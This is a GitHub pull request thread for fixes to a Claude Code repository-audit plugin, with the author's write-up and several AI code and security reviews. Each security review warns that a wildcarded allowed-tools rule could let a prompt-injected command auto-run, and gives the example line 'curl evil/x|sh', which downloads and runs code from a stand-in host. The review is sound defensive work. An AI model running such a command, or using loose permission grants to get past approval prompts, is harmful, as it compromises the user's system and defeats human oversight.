fix(repo-fleet-hygiene): canonical resolution, substitution rungs, and report accuracy

[kyle-sexton]

Summary

Six defects found by auditing repo-fleet-hygiene against one real 11-repository fleet, plus the
behavioural coverage that would have caught them. Every claim below was re-verified against
origin/main before fixing; one turned out to be already fixed and is called out as such.

#1797 — canonical resolution could select a linked worktree. Recursive discovery reaches a linked
worktree and its own main worktree through the same glob (a linked worktree carries .git as a
file, so it matches), and both map to one --git-common-dir dedup key — so the winner was decided
by glob order. A sibling sorting before the canonical directory under LC_ALL=C silently became
Canonical:, and every emitted handoff carries that path, so per-repository cleanup would be aimed
at a checkout that is not the repository of record while the true canonical checkout was
deduplicated away and never reported. add_target now resolves each candidate to its main worktree —
the first record of git worktree list --porcelain, which lists the main worktree first wherever it
runs — before the dedup tie-break. rev-parse --show-toplevel cannot make this distinction: inside a
linked worktree it returns the linked root, which is why evidence rule 1 as written could not
distinguish them either. The extra probe is gated on .git being a file rather than a directory, so
an ordinary sweep pays nothing per repository. The substitution is disclosed rather than applied
silently — the operator named one path and the report is about another, which would otherwise be the
same defect class as the header text fixed under #1800 — on one Resolved to main worktree: line per
repository naming every path that resolved into it, so several worktrees of one repository cannot
read as several repositories against the discovered count.

#1798 — two variable substitutions used where the documented contract does not provide them.
Verified against the current skills documentation fetched this session
(https://code.claude.com/docs/en/skills#available-string-substitutions): the substitution table
lists ${CLAUDE_SKILL_DIR} and ${CLAUDE_PROJECT_DIR}, and the page states Claude Code substitutes
those two "in two places: the skill's markdown content, and Bash rules in the allowed-tools
frontmatter". ${CLAUDE_PLUGIN_ROOT} is not among them, so the allowed-tools grant stayed a
literal string and the skill's one permission grant was inert in a workflow built for unattended
sweeps; it now uses ${CLAUDE_SKILL_DIR}. Separately the collector read CLAUDE_PROJECT_DIR from
its own environment, which does not carry it — leaving the project rung of the config ladder
unreachable and the zero-argument fallback silently becoming $PWD, an agent session's incidental
working directory. The skill body now passes --project-dir "${CLAUDE_PROJECT_DIR}", where the
documented substitution applies; the environment variable is still honored for callers that have it,
and a value left as an unexpanded ${...} placeholder counts as absent rather than as a literal
directory name. When no project directory resolves, the run now stops with the scope remedies
instead of auditing whatever directory the shell was sitting in.

#1799 — confidence model and evidence rules had drifted from the collector. The tier table
covered 12 of 24 emitted kinds, so a consumer meeting an untabulated kind had no documented
disposition. It now covers all 25, and a test asserts set equality in both directions between
the table and the collector's emitted kinds — a drift detector rather than a generator, so this
cannot silently recur. ACKNOWLEDGED is documented as a prominence demotion of an UNKNOWN, not a
fifth value on the confidence axis. Evidence rule 3 now describes the mechanism that actually runs
(one batched query per repository plus a privacy-gated per-branch fallback) rather than a per-branch
authoritative query. Two undisclosed dependencies are stated: the LOW ancestry tier is near-inert
under squash merges, and missing-worktree vs prunable-worktree turns on the user-tunable
gc.worktreePruneExpire window rather than on evidence strength. The two reference files with no
pointer from the hub are now linked, and the two differently-scoped repositories labels are
qualified.

#1800 — report text asserting things the run contradicts. The header printed a fixed
Config: none (… current-project scope) literal that could contradict the very next lines and
described a mode that was not reachable at all; a computed Scope: line now names each contributing
rung and its entry count, which also discloses that config-supplied scope is additive to
CLI-supplied scope. Mutation count: 0 was a hardcoded literal that would have read identically in
a build that mutated — replaced by a statement of the enforcing mechanism (the read-only git/gh
command allowlists), because a real counter would undercount: most probes run inside command
substitution, so increments are lost with the subshell. MSYS /c/... paths are converted to
C:/... for presentation only, since the report is actionable text whose paths get pasted into
tools that reject the MSYS form; every comparison and filesystem test keeps the native form. An empty
--root/--repo/--config value now stops the run rather than being counted toward the scope the
header reports and then skipped by the discovery loops.

Item 4 of #1800 (the hard-failure path naming no remedy) is already fixed on origin/main by the
#1771 work — the rejection names --root, --repo, --config, and /repo-fleet-hygiene:setup apply, and SKILL.md discloses the CLI hard-fail semantics. Verified via the existing passing
assertions; no code was needed.

#1801 — setup defects (partial; see Related). apply step 5 prescribed running the collector,
which is the full fleet walk the skill states it never performs — minutes of per-repository network
queries in a step described as validating that a config parses. Verification is now config-only, with
an end-to-end run offered as an explicit handoff. --max-depth is now settable through the skill
that owns the file carrying it (and was missing from the audit skill's argument-hint). The
cross-volume exception to the relative-path preference is stated, the determinism claim is softened
to guidance since no deterministic component backs it, and the project-vs-user-global gotcha now
names the two cases that collapse it.

#1803 — evals missed every behaviour that actually failed. Split by what each surface can
actually test rather than routing everything into evals.json, which would have reproduced the gap
being filed. Deterministic fixtures went to audit-fleet.test.sh: canonical selection against an
earlier-sorting linked worktree (written red first — it failed on both canonical assertions before
the fix), the computed scope-provenance line, merged-PR window truncation, unauthenticated-gh
degradation, and tier-table drift. Model-graded rows went to evals.json: privacy-gated branches as
unverified rather than unmerged, squash-merge semantics, worktree disposability as deliberately out
of scope, and for setup config-only verification, cross-volume paths, and maxDepth. One eval
pinned the boundary violation being fixed (it expected apply to "run a read-only audit") and was
corrected.

This also required a behaviour change: a full merged-PR window now emits merged-pr-window-truncated
(UNKNOWN). Previously a repository with more than 200 merged PRs lost the remainder silently, and a
branch merged before the window produced no merged finding — indistinguishable in the report from a
branch that was never merged. It cannot distinguish "exactly 200" from "far more" and deliberately
errs toward warning, since an unfalsifiable reassurance was the #1800 sin and an over-cautious
warning is the correct direction to err.

Test plan

• audit-fleet.test.sh — 71 assertions, all passing (16 new). The repo-fleet-hygiene:audit canonical resolution can select a linked worktree, pointing every handoff at the wrong path #1797 fixture was confirmed red
  before the fix (both canonical assertions failed; the linked worktree won) and green after.
• scripts/check-changed-skills.sh origin/main — both skills PASS, 0 errors, 0 warnings.
• check-changelog-parity.sh --check, --check-order, --check-bump origin/main — all pass.
• markdownlint-cli2 over the plugin — 0 issues in 7 files.
• ajv --spec=draft2020 against plugins/skill-quality/reference/evals.schema.json — both
  evals.json files valid.
• shellcheck on both shell files — clean (three diagnostics introduced during the change were
  fixed, not suppressed).
• check-skill-portability.sh, check-shell-portability.sh, validate-plugins.sh,
  validate-plugin-contracts.mjs, check-plugin-manifest-presence.sh, check-silent-skips.sh — pass.
• generate-catalog.mjs / generate-cheatsheet.mjs — already in sync, no regeneration needed.
• Live end-to-end on this machine (Git Bash, Windows): pointing --repo at a linked worktree
  now reports the main worktree; /c/Users renders as C:/Users; a no-scope run with no project
  directory stops with the remedies instead of silently auditing $PWD.

Review

Three fresh-context reviewer subagents were spawned and none returned findings, so a bespoke
rationale-withheld human-style review was not obtained. Three other independent passes did run:

• Codex connector (diff-only) raised one P2: that ${CLAUDE_SKILL_DIR} is not expanded in
  allowed-tools, citing docs/conventions/permission-rule-hygiene/README.md. Investigated and
  rejected on primary-source evidence — the current skills page states Claude Code substitutes
  ${CLAUDE_SKILL_DIR} and ${CLAUDE_PROJECT_DIR} in both skill content and allowed-tools Bash
  rules, with the SKILL_DIR floor (v2.1.129) the earlier of the two. The cited local doc was stale and
  is corrected here; its wrong sentence is what made this grant look unfixable and is what produced
  the false finding. Full citation in the review thread.
• Repo review and security-review lanes — both pass.
• A stronger reviewer model with full session context (so not rationale-withheld, the weaker
  form) produced two real defects, both reproduced against live fixtures and fixed in
  group the retarget disclosure per repository and reject empty scope values: several linked
  worktrees of one repository each emitted their own Resolved to main worktree: line, so one
  repository read as several against the header's own count; and an empty --root/--repo value was
  counted toward the reported scope then skipped by the discovery loops.

Self-verification worth naming: the #1797 fixture was written red first; the tier-table drift
detector was proven non-vacuous by deleting a row and confirming failure; to_native_path was
unit-tested against non-path values, slash-commands, branch paths and multi-occurrence input; the
placeholder-rejection pattern and the empty-array expansion idiom were tested directly; and the whole
change was exercised end-to-end against a real Windows fleet and a purpose-built two-worktree repo.

The highest-value remaining check is main_worktree()'s read -r -d '' inside a command
substitution, and whether any new assertion is vacuous.

Related

Fixes #1797
Fixes #1798
Fixes #1799
Fixes #1800
Fixes #1803
Refs #1801 — items 1-5 delivered. Item 6 (a --no-config escape hatch so a persisted user-global
config can be suppressed for one run) is deferred: it is a feature add rather than a defect fix, and
it carries an unresolved semantic question (whether it suppresses only the fleet.root/fleet.repo
ladder or also [canonical …] sections). The additive behaviour it complains about is now at least
disclosed by the new Scope: header line and a setup gotcha. #1801 stays open for it.

[claude]

Claude finished @kyle-sexton's task in 7m 16s —— View job

---

Code review — PR #1861

Reviewed against origin/main (git diff origin/main...HEAD), the repo's CLAUDE.md/AGENTS.md, and REVIEW.md's code-review lane scope (security findings are left to claude-security-review, which is configured on this repo). Focus was audit-fleet.sh, audit-fleet.test.sh, both SKILL.md files, confidence-model.md, and the evals.json files.

This is a well-documented, carefully self-verified fix set — every claim in the PR body checks out against the diff (the #1797 canonical-resolution fix reuses the pre-existing worktree list --porcelain -z -- allowlist entry rather than widening it, the tier-table now covers all 25 emitted emit_finding kinds with a bidirectional drift test, and the ${CLAUDE_SKILL_DIR}/${CLAUDE_PROJECT_DIR} substitution fix is applied consistently across the skill body, the allowed-tools rule, and the CHANGELOG). I could not execute shellcheck/the test suite myself in this sandbox (binary execution beyond git/grep requires interactive approval I don't have here), so I'm relying on the PR's stated test-plan results for that part, but the code itself reads correctly.

Two suggestions, nothing blocking:

🟡 Suggestion — to_native_path has no committed regression test, despite being described as unit-tested

to_native_path (the MSYS /c/... → C:/... drive-letter rewriter) has zero references anywhere in audit-fleet.test.sh — no to_native_path, WINDOWS_PATH_DISPLAY, MSYS, or MINGW string appears in the test file. The PR body's self-verification section states this function "was unit-tested against non-path values, slash-commands, branch paths, and multi-occurrence input," but that testing doesn't appear to be part of the committed suite. Since WINDOWS_PATH_DISPLAY is only ever true when uname -s matches MINGW*|MSYS*|CYGWIN* (L36-L46), this loop is a permanent no-op on whatever CI runs on (almost certainly Linux) — a regression here would only surface on a live Windows run.

The suite already has the pattern to close this cheaply: it sources the script directly to unit-test run_git_probe's allowlist gate in isolation (test.sh#L788-L789). The same approach — source the script, force WINDOWS_PATH_DISPLAY=true, call to_native_path directly — would let the drive-letter/prefix/multi-occurrence logic run in every CI environment instead of depending on manual verification that leaves no regression guard.

Fix this →

🟡 Suggestion — the same ${CLAUDE_PLUGIN_ROOT}-in-allowed-tools defect this PR fixes (#1798) still exists in four other skills

The #1798 fix rests on a verified fact: ${CLAUDE_PLUGIN_ROOT} does not substitute inside a skill's allowed-tools Bash rule (only ${CLAUDE_SKILL_DIR}/${CLAUDE_PROJECT_DIR} do, per the docs fetched this session). Grepping the rest of the marketplace, the identical pattern is still present in:

• plugins/repo-hygiene/skills/clean/SKILL.md:7
• plugins/prototype/skills/explore-directions/SKILL.md:7
• plugins/prototype/skills/pressure-test/SKILL.md:7
• plugins/code-tidying/skills/tidy/SKILL.md:7

If the PR's own #1798 finding is correct, those four allowed-tools grants are inert the same way this one was. Out of scope for this PR (it's scoped to repo-fleet-hygiene), but worth a follow-up issue since it's a direct, mechanical consequence of the fact this PR itself established.

Minor nit (non-blocking)

In add_target's new retarget-dedup loop (L616-L621), "$rt_existing" == "$top" uses plain string equality, while the common-dir dedup a few lines below it consistently normalizes through path_key. Two spellings of the same source path (trailing slash, or case difference on a case-insensitive filesystem) could produce two "reached via" entries in the header for what should read as one source. Cosmetic only — it can't affect classification — so not worth blocking on.

What I checked and didn't flag

• The reviewer-requested check on main_worktree()'s read -r -d '' inside command substitution (called out in the PR's "Review gap" section): it's correct — run_git_probe forks its own subshell internally, and reading via < <(...) process substitution (not a pipe) keeps record set in the calling context even though main_worktree itself runs inside $(...). No bug found there.
• main_worktree's new worktree list --porcelain -z -- call reuses the exact same git_probe_allowed allowlist entry already used elsewhere in the script (line 134) — no allowlist was widened to land this fix.
• Version bump (0.7.1 → 0.8.0) and CHANGELOG match the behavior change (the new merged-pr-window-truncated finding kind is a minor, additive behavior change, correctly not a major bump).
• Cross-file consistency is solid: SKILL.md evidence rules, confidence-model.md's tier table, and the collector's emit_finding call sites all agree (verified the 25-kind count matches on both sides).
• REVIEW.md's two "always check" items (audit-log entry for high-risk actions; atomicity across multi-location writes) don't apply — this is a read-only collector, and setup's single config-file write already goes through git config --file's own atomicity.

[claude]

Claude finished @kyle-sexton's task in 3m 36s —— View job

---

Security review

• Gather context (diff, changed files)
• Read changed files
• Hunt for security issues (injection, auth, secrets, unsafe path/config handling)
• Post findings

Reviewed all 9 changed files (audit-fleet.sh, audit-fleet.test.sh, both SKILL.mds, both evals.jsons, confidence-model.md, CHANGELOG.md, plugin.json) against origin/main. Scope is a local, read-only Git/GitHub fleet-audit script and its skill wrappers — no .github/workflows changes in this PR, so no GitHub Actions trust-boundary surface to assess here.

audit-fleet.sh itself is carefully defended: every git/gh invocation goes through an argv-based allowlist (git_probe_allowed / gh_probe_allowed) that pins subcommand, flag order, and arity and rejects anything else; there's no eval, no unquoted interpolation into a command string, and the new main_worktree()/retarget/to_native_path logic is all argv-passed to git or pure Bash string manipulation. Report fields continue to route through display_value, which %q-escapes any control-bearing value, so the new "Resolved to main worktree" / Scope: lines can't be used to forge report lines. No secrets, tokens, or credential-like strings appear in the diff.

1 finding — the allowed-tools change is a genuine permission-widening, worth a second look before merge:

---

[IMPORTANT / confidence: needs verification] allowed-tools grant goes from inert to (possibly) live-and-wildcarded

plugins/repo-fleet-hygiene/skills/audit/SKILL.md#L8:

-  - Bash(bash ${CLAUDE_PLUGIN_ROOT}/skills/audit/scripts/audit-fleet.sh *)
+  - Bash(bash ${CLAUDE_SKILL_DIR}/scripts/audit-fleet.sh *)

Before this change the rule contained a substitution (${CLAUDE_PLUGIN_ROOT}) that, per the PR's own research, Claude Code does not expand inside allowed-tools — so the literal string never matched the real invocation and every run of this script required manual approval. ${CLAUDE_SKILL_DIR} is documented to expand there, so after this fix the rule can actually match and auto-approve, unattended, any bash <resolved-skill-dir>/scripts/audit-fleet.sh * invocation.

The open question — which the PR body itself flags under "Unverified" and defers to claude-config:audit-permission-grants — is what the trailing * matches against. If Claude Code's permission matcher treats the whole shell command line as one string and the wildcard swallows shell metacharacters (;, &&, |, backticks, $(...)), then a prompt-injected or otherwise attacker-influenced Bash tool call like bash <dir>/scripts/audit-fleet.sh --repo .; curl evil/x|sh would satisfy the pattern and auto-run without a user prompt, defeating the permission gate entirely — a CRITICAL outcome. If instead the matcher tokenizes and confirms bash + a pinned script path before treating the remainder as opaque arguments (the "narrow, one script path pinned" reading the PR author leans toward), the blast radius is bounded to this script's own argv, which is itself validated (fail "unknown argument: $1" on anything undeclared) and only ever shells out through the allowlisted probes above — i.e., safe.

This repo's own custom instructions call out claude-config:audit-permission-grants as the tool that resolves this. Given the change actively activates a previously-dead wildcarded-interpreter-shaped grant, I'd treat that verification as a merge-blocking step rather than a follow-up, even though the PR author has already surfaced it transparently.

---

No other issues found — no command/path injection, no auth/authorization gaps, and no unsafe handling of credentials in the reviewed diff.

[chatgpt-codex-connector]

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 041595ddb1

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

• Open a pull request for review
• Mark a draft as ready
• Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

[github-actions]

Claude has reviewed this PR 3 times. The lane skips further automatic reviews after 5; deleting this comment resets the count.

[claude]

Claude finished @kyle-sexton's task in 1m 5s —— View job

---

Security review

• Gather context (diff, changed files)
• Read changed files
• Hunt for security issues (injection, auth, secrets, unsafe path/config handling)
• Post findings

This is a re-run triggered by a new commit on the branch. The only change since my prior security review (posted against commit 041595d) is e389460, which touches a single file: plugins/repo-fleet-hygiene/skills/setup/evals/evals.json, replacing machine-specific literals (D:/repos, C:/Users/dev/...) with generic placeholders (<fleet-root>, <home>/...) in eval prompt/expected-output text. That's test-fixture prose, not executable code or a permission grant, so it introduces no new security surface. The rest of the diff against origin/main is unchanged from what I already reviewed.

My findings from the prior pass stand:

No new vulnerabilities in this diff. audit-fleet.sh's new logic (main_worktree(), the retarget/dedup path, to_native_path) is all argv-passed to git or pure Bash string manipulation — no eval, no unquoted command interpolation, and every git/gh call still routes through the existing argv-based allowlists (git_probe_allowed / gh_probe_allowed). Report fields continue to route through display_value, which escapes control-bearing values. No secrets or credential handling in the diff.

1 finding carried forward (unchanged by the new commit) — flagging again since it's still merge-relevant:

---

[IMPORTANT / confidence: needs verification] allowed-tools grant goes from inert to (possibly) live-and-wildcarded

plugins/repo-fleet-hygiene/skills/audit/SKILL.md#L8:

-  - Bash(bash ${CLAUDE_PLUGIN_ROOT}/skills/audit/scripts/audit-fleet.sh *)
+  - Bash(bash ${CLAUDE_SKILL_DIR}/scripts/audit-fleet.sh *)

Before this change, the rule contained a substitution (${CLAUDE_PLUGIN_ROOT}) that Claude Code does not expand inside allowed-tools — so the literal string never matched the real invocation and every run required manual approval. ${CLAUDE_SKILL_DIR} is documented to expand there, so this rule can now actually match and auto-approve, unattended, any bash <resolved-skill-dir>/scripts/audit-fleet.sh * invocation.

The open question (which the PR body itself flags under "Unverified" and defers to claude-config:audit-permission-grants) is what the trailing * matches against — the whole shell command line (in which case shell metacharacters like ;, &&, |, backticks, $(...) could let an attacker-influenced Bash call escape the intended script and auto-run without a prompt) or just this script's own argv (bounded blast radius, since the script validates its own arguments and only shells out through the allowlisted probes). This is unchanged by the new commit but remains unresolved, so I'd still treat it as worth confirming with claude-config:audit-permission-grants before merge.

---

No other issues found — no command/path injection, no auth/authorization gaps, no unsafe credential handling, and no workflow-permission changes in this PR (no .github/workflows files touched).

[claude]

Claude finished @kyle-sexton's task in 2m 37s —— View job

---

Code review — PR #1861 (re-review after push)

• Gather context (diff vs origin/main, prior review comments)
• Review changed files for correctness/architecture/error-handling/test-coverage/maintainability
• Check whether prior review feedback (suggestions + Codex comment) was addressed by later commits
• Post findings

---

This push adds one commit on top of what was already fully reviewed: e389460 — "drop machine-specific absolute paths from setup evals". It's a small, mechanical, correct fix; no other files changed.

What it does: the three setup evals added by this PR (plugins/repo-fleet-hygiene/skills/setup/evals/evals.json) illustrated cross-volume/fleet-root scenarios with literal C:/Users/dev/... and D:/repos paths. Those trip this repo's own hardcoded-path-check guardrail hook — I checked plugins/guardrails/lib/path-detection/hardcoded-path-patterns.sh directly and confirmed it matches C:\Users\<name>\ / C:/Users/<name>/ and drive-letter + repos-shaped paths, so this was a real CI blocker, not a false alarm being papered over. The fix swaps the literals for <home>/<fleet-root> placeholders and, for eval #4, adds an explicit prose sentence ("the config file and the fleet root are on different volumes") to carry the cross-volume premise that the old literal drive letters used to convey implicitly — so the model-graded eval doesn't lose the scenario it's testing.

Verified:

• evals.json is still well-formed and each expected_output/expectations block still matches its reworded prompt.
• Grepped the whole plugin for remaining C:/Users, D:/repos, /home/<user>/, /Users/<user>/ literals — none left.
• No CHANGELOG entry for this commit, which is appropriate: it's a test-fixture wording change with no behavioral or documented-contract effect, not a user-facing fix.

Status of earlier feedback on this PR: unchanged by this commit, since it only touches the setup evals file.

• The two 🟡 suggestions from the first review (missing to_native_path regression test; the same ${CLAUDE_PLUGIN_ROOT}-in-allowed-tools pattern still present in four other skills) remain open — both were flagged as non-blocking/follow-up, not required for this PR.
• The minor nit (plain == vs path_key-normalized comparison in the retarget-dedup loop) remains open — cosmetic, can't affect classification.
• The security lane's IMPORTANT finding (verify what allowed-tools' trailing * actually matches, via claude-config:audit-permission-grants) is outside this lane's scope per REVIEW.md's security/code-review split, and is unaffected by this commit — audit SKILL.md line 7 is unchanged (still Bash(bash ${CLAUDE_SKILL_DIR}/scripts/audit-fleet.sh *)).
• Codex's comment on the same line is the same unverified concern already covered by the PR's own "Unverified" section and the security lane's finding.

No new issues found in this commit. Nothing here blocks merge on my end; the one still-open item worth resolving before merge is the security lane's allowed-tools wildcard-matching verification, which is tracked outside this lane.

[claude]

Claude finished @kyle-sexton's task in 1m 44s —— View job

---

Code review — PR #1861 (re-review after push)

• Gather context (diff vs origin/main, what changed since last review)
• Review the new commit on top of the previously-reviewed HEAD
• Check whether prior review feedback was addressed
• Post findings

---

This push adds one commit on top of what was already fully reviewed: a937e5d — "correct which substitutions expand in allowed-tools". Only docs/conventions/permission-rule-hygiene/README.md changed (+14/-4).

What it does: rewrites the anti-pattern-2 paragraph that previously claimed ${CLAUDE_PROJECT_DIR} is "the one substitution … expanded in allowed-tools." That claim was the basis for Codex's review comment on this PR (citing README.md:67-82), arguing the ${CLAUDE_SKILL_DIR} fix in audit/SKILL.md was still inert. The new text says two substitutions expand there — ${CLAUDE_SKILL_DIR} (v2.1.129+) and ${CLAUDE_PROJECT_DIR} (v2.1.196+) — with ${CLAUDE_SKILL_DIR}'s floor the earlier of the two, and explicitly excludes ${CLAUDE_PLUGIN_ROOT}.

Verified against the live docs, per this repo's fresh-docs mandate (this is a documented-harness-behavior change): fetched https://code.claude.com/docs/en/skills#available-string-substitutions directly this session. It states verbatim: "Claude Code substitutes ${CLAUDE_SKILL_DIR} and ${CLAUDE_PROJECT_DIR} in two places: the skill's markdown content, and Bash rules in the allowed-tools frontmatter," with "The allowed-tools substitution for ${CLAUDE_SKILL_DIR} requires Claude Code v2.1.129 or later" and "The ${CLAUDE_PROJECT_DIR} substitution requires … v2.1.196 or later" given separately. ${CLAUDE_PLUGIN_ROOT} does not appear anywhere on that page. The commit's revised doc text matches this exactly — the correction is accurate, not just self-consistent.

Consistency check across the rest of the file: the pre-existing "Known gap" section (README.md:172-185, untouched by this commit) already distinguished a fixed-path Bash(bash <path>*) rule from a wildcarded-target one and left the auto-mode-drop question for the fixed-path form explicitly unresolved — which lines up with what this PR's own body flags as "Unverified" (whether Bash(bash <path> *) survives auto mode). No stale copies of the old "one substitution" claim remain elsewhere in the repo (grepped for the phrase).

Resolves the open review thread: Codex's comment on SKILL.md:7 was answered in-thread by kyle-sexton citing this exact fix; this commit is that fix landing. The security lane's separate, still-open finding (what the trailing * in Bash(bash ${CLAUDE_SKILL_DIR}/scripts/audit-fleet.sh *) matches against) is orthogonal to which token expands and is unaffected by this commit — it applies identically regardless of which substitution is used, and is explicitly deferred to claude-config:audit-permission-grants in the PR's own "Unverified" section.

No new issues found in this commit. Prior open items (the two 🟡 suggestions on to_native_path test coverage and the four other skills sharing the ${CLAUDE_PLUGIN_ROOT}-in-allowed-tools pattern, and the == vs path_key nit) are unaffected by this docs-only commit and remain non-blocking follow-ups.

[claude]

Claude finished @kyle-sexton's task in 1m 0s —— View job

---

Security review — PR #1861 (re-run after push, commit a937e5d)

• Gather context (diff since last reviewed commit e389460)
• Review changed files
• Hunt for security issues (injection, auth, secrets, unsafe path/config handling)
• Post findings

This is a re-run triggered by a new commit on the branch. The only change since my prior security review (posted against commit e389460) is a937e5d — "docs(permission-rule-hygiene): correct which substitutions expand in allowed-tools". It touches exactly one file:

• docs/conventions/permission-rule-hygiene/README.md (+14/-4)

This is a prose-only correction to a documentation page: it fixes a factual claim about which allowed-tools substitutions Claude Code expands (${CLAUDE_SKILL_DIR} and ${CLAUDE_PROJECT_DIR}, not just the latter) and states version floors. It introduces no executable code, no permission-grant change, no workflow change, and no new data flow — it doesn't touch plugins/repo-fleet-hygiene/skills/audit/SKILL.md (the file carrying the actual allowed-tools rule) at all. No new security surface.

My prior findings, both already reported against this PR, stand unchanged:

1 finding carried forward (unresolved, same as previous passes):

[IMPORTANT / confidence: needs verification] allowed-tools grant goes from inert to (possibly) live-and-wildcarded

plugins/repo-fleet-hygiene/skills/audit/SKILL.md#L8:

-  - Bash(bash ${CLAUDE_PLUGIN_ROOT}/skills/audit/scripts/audit-fleet.sh *)
+  - Bash(bash ${CLAUDE_SKILL_DIR}/scripts/audit-fleet.sh *)

${CLAUDE_PLUGIN_ROOT} never expanded in allowed-tools, so the rule stayed a literal string and every run required manual approval. ${CLAUDE_SKILL_DIR} does expand there (now correctly documented by the commit reviewed above), so this rule can actually match and auto-approve, unattended, any bash <resolved-skill-dir>/scripts/audit-fleet.sh * invocation going forward.

The open question — flagged by the PR body's own "Unverified" section and unresolved by any commit so far — is what the trailing * matches against: the whole shell command line (in which case shell metacharacters could let an attacker-influenced Bash call escape the intended script and auto-run without a prompt) or just this script's own argv (bounded blast radius, since the script validates its own arguments and only shells out through allowlisted probes). I'd still treat confirming this via claude-config:audit-permission-grants as worth doing before merge, though this is unchanged by today's commit and the PR author has now also responded to the equivalent Codex finding with the same version-floor correction landed here.

No other issues found — no command/path injection, no auth/authorization gaps, no unsafe credential handling, and no workflow-permission changes in this PR (no .github/workflows files touched, and this commit touches only a documentation file).

[kyle-sexton]

Session wind-down state marker (autonomous lane stopped by operator):

Commit c1b3265 is a WORK-IN-PROGRESS save of the fix for the independent reviewer's merge-blocking CRITICAL (canonical retarget adopting a Git admin directory for submodule / --separate-git-dir / bare-worktree shapes). The re-probe approach follows the reviewer's verified fix: run_git_probe -C "$main_top" rev-parse --show-toplevel, adopt only when it resolves to a working tree path_key-different from the current top.

Remaining before this PR is merge-ready:

• Run the full gate sweep (audit-fleet.test.sh, shellcheck, changelog parity x3, markdownlint, portability gates) on the amended tree
• Add the submodule and --separate-git-dir regression fixtures the reviewer specified
• Add --project-dir argument-path regression coverage (reviewer IMPORTANT: all nine existing tests use the env var; deleting the arg-loop case leaves the suite green)
• Take the four cheap suggestions (derive gh_probe_allowed's hardcoded 200 from MERGED_PR_WINDOW or state the coupling; fix permission-rule-hygiene README's substitution-scope reason; drift-detector grep skips comment lines; usage() states --project-dir "" semantics)

A cold agent can resume from this comment plus the reviewer's findings (recorded in the session that produced this PR); the worktree is claude-code-plugins-issue-1797 on this machine but everything needed is in this PR and the six linked issues.

[claude]

Claude encountered an error after 8s —— View job

---

I'll analyze this and get back to you.

[claude]

Claude encountered an error after 1s —— View job

---

I'll analyze this and get back to you.

[github-actions]

Warning

Automated review did not complete — this is an infrastructure failure, not a review verdict.

Treat any Claude comment on this PR (including a placeholder like "I'll analyze this and get back to you") as incomplete, not "no findings."

• Run: https://github.com/melodic-software/claude-code-plugins/actions/runs/30638677057
• Failure class: rate-limit
• Last SDK result: {"subtype":"success","is_error":true,"num_turns":1,"duration_ms":834,"total_cost_usd":0,"api_error_status":429,"class":"rate-limit"}

Re-run the job to retry the review. A new push does not re-trigger this lane.
An automatic retry may already have run — it is skipped when a partial review could duplicate comments, or when the failure class needs an operator (auth).

[claude]

Claude finished @kyle-sexton's task in 1m 48s —— View job

---

Security review — PR #1861 (re-run after push, commit c1b3265)

• Gather context (diff since last completed security review, commit a937e5d)
• Review changed files for security issues
• Post findings

This is a re-run triggered by a new commit on the branch, after two prior attempts failed on rate-limiting (see the two [!WARNING] infrastructure-failure comments above — those are not review verdicts). The only change since my last completed security review (posted against a937e5d) is c1b3265 — "reviewer CRITICAL fix in progress — retarget re-probe", a work-in-progress commit per the PR author's own wind-down comment. It touches four files: audit-fleet.sh, audit-fleet.test.sh, CHANGELOG.md, and docs/conventions/permission-rule-hygiene/README.md.

What it does: hardens add_target's main-worktree retarget (landed earlier in this PR to fix #1797) against three admin-directory shapes that all present a .git file the same way a linked worktree does — a submodule's .git/modules/<name>, a --separate-git-dir checkout, and a bare-repository worktree. Previously the retarget adopted git worktree list --porcelain's first record unconditionally once it resolved non-empty; now it re-resolves that record with run_git_probe -C "$main_top" rev-parse --show-toplevel and only adopts it if that second probe succeeds and resolves to a genuinely different working tree.

Security read of this change: net risk-reducing, no new issues found.

• rev-parse --show-toplevel run with -C <path> is already allowlisted for exactly this shape at git_probe_allowed L124-127 — no allowlist widening to land this fix, consistent with the pattern already verified in earlier passes on this PR.
• $main_top is argv-passed to git -C, never interpolated into a shell string or eval'd; run_git_probe's subshell still strips the GIT_* injection-relevant environment variables and pins GIT_CONFIG_GLOBAL/GIT_CONFIG_SYSTEM to /dev/null before the call, same as previously reviewed.
• This closes a real defect with security-adjacent consequences: before this commit, a fleet sweep over a submodule or a --separate-git-dir checkout could have emitted a Resolved to main worktree: / Canonical: line pointing inside another repository's Git administrative directory (.git/modules/<name>, or a detached git-dir). Since this report's stated purpose is to hand an operator a path for per-repository cleanup, that misdirection could have steered a human into running cleanup operations against Git's own internal object/ref storage rather than a working tree. The re-probe closes that path: a bare/separate-git-dir target fails the second rev-parse and is left alone (skipped, not adopted), and a submodule's admin dir resolves back to the original working tree and self-cancels. New test fixtures (sub-wt/sep-wt, audit-fleet.test.sh L750-808) assert both shapes never appear as a Repo:/Canonical: line or an in <path> handoff target.
• The CHANGELOG.md and docs/.../README.md changes in this commit are prose-only (changelog entry, and a factual correction to which page states ${CLAUDE_PLUGIN_ROOT} isn't a substitution target) — no executable surface.

Carried forward, unaffected by this commit (SKILL.md was not touched since the last review):

[IMPORTANT / confidence: needs verification] allowed-tools grant goes from inert to (possibly) live-and-wildcarded — plugins/repo-fleet-hygiene/skills/audit/SKILL.md#L8:

-  - Bash(bash ${CLAUDE_PLUGIN_ROOT}/skills/audit/scripts/audit-fleet.sh *)
+  - Bash(bash ${CLAUDE_SKILL_DIR}/scripts/audit-fleet.sh *)

${CLAUDE_PLUGIN_ROOT} never expanded in allowed-tools, so the rule stayed a literal string and every run required manual approval. ${CLAUDE_SKILL_DIR} does expand there, so this rule can now actually match and auto-approve, unattended, any bash <resolved-skill-dir>/scripts/audit-fleet.sh * invocation. The open question — flagged by the PR body's own "Unverified" section and unresolved by any commit so far, including this one — is what the trailing * matches against: the whole shell command line (shell metacharacters could let an attacker-influenced Bash call escape the intended script and auto-run without a prompt) or just this script's own argv (bounded blast radius, since the script validates its own arguments and only shells out through allowlisted probes). Still worth confirming via claude-config:audit-permission-grants before merge; unchanged by today's commit.

No other issues found — no command/path/template injection, no auth/authorization gaps, no unsafe credential handling, and no .github/workflows changes in this PR.

Note: per the PR author's wind-down comment, c1b3265 is explicitly a WIP save (remaining checklist items include a full gate-sweep run and additional --project-dir regression coverage) — this review covers the code as committed, not the author's stated remaining plan.